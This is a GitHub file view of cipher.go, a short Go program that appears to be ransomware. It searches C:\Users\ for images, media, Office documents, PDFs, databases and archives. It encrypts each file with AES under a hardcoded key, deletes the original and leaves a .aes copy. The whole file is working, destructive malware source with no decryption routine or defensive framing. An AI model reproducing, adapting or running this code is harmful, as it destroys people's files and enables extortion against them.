-
Notifications
You must be signed in to change notification settings - Fork 0
/
cipher.go
executable file
·124 lines (98 loc) · 2.94 KB
/
cipher.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"fmt"
"io"
"io/ioutil"
"os"
"path/filepath"
"strings"
)
func search() ([]string, error) {
dir := "C:\\Users\\"
extensions := []string{
// "exe,", "dll", "so", "rpm", "deb", "vmlinuz", "img", # SYSTEM FILES - BEWARE! MAY DESTROY SYSTEM!
"jpg", "jpeg", "bmp", "gif", "png", "svg", "psd", "raw", // images
"mp3", "mp4", "m4a", "aac", "ogg", "flac", "wav", "wma", "aiff", "ape", // music and sound
"avi", "flv", "m4v", "mkv", "mov", "mpg", "mpeg", "wmv", "swf", "3gp", // Video and movies
"doc", "docx", "xls", "xlsx", "ppt", "pptx", // Microsoft office
"odt", "odp", "ods", "txt", "rtf", "tex", "pdf", "epub", "md", // OpenOffice, Adobe, Latex, Markdown, etc
//"yml", "yaml", "json", "xml", "csv", // structured data
"db", "sql", "dbf", "mdb", "iso", // databases and disc images
//"html", "htm", "xhtml", "php", "asp", "aspx", "js", "jsp", "css", // web technologies
//"c", "cpp", "cxx", "h", "hpp", "hxx", // C source code
//"java", "class", "jar", // java source code
//"ps", "bat", "vb", // windows based scripts
//"awk", "sh", "cgi", "pl", "ada", "swift", // linux/mac based scripts
//"go", "py", "pyc", "bf", "coffee", // other source code files
"zip", "tar", "tgz", "bz2", "7z", "rar", "bak", // compressed formats
}
fileList := make([]string, 0)
e := filepath.Walk(dir, func(path string, f os.FileInfo, e error) error {
for _, ext := range extensions {
file := strings.Split(path, ".")
if strings.EqualFold(file[len(file)-1], ext) {
fileList = append(fileList, path)
}
}
return e
})
if e != nil {
panic(e)
}
return fileList, nil
}
func encrypt(plainstring string) string {
// Byte array of the string
plaintext := []byte(plainstring)
// Key
key := []byte("aserejejadejedej")
// Create the AES cipher
block, err := aes.NewCipher(key)
if err != nil {
panic(err)
}
// Empty array of 16 + plaintext length
// Include the IV at the beginning
ciphertext := make([]byte, aes.BlockSize+len(plaintext))
// Slice of first 16 bytes
iv := ciphertext[:aes.BlockSize]
// Write 16 rand bytes to fill iv
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
panic(err)
}
// Return an encrypted stream
stream := cipher.NewCFBEncrypter(block, iv)
// Encrypt bytes from plaintext to ciphertext
stream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)
return string(ciphertext)
}
func writeToFile(data, file string) {
ioutil.WriteFile(file+".aes", []byte(data), 777)
}
func readFromFile(file string) ([]byte, error) {
data, err := ioutil.ReadFile(file)
return data, err
}
func deleteFile(file string) error {
err := os.Remove(file)
return err
}
func main() {
files, e := search()
if e != nil {
panic(e)
}
for _, file := range files {
readed, e := readFromFile(file)
if e != nil {
panic(e)
}
encrypted := encrypt(string(readed))
deleteFile(file)
writeToFile(encrypted, file)
fmt.Println("Crifrado")
}
}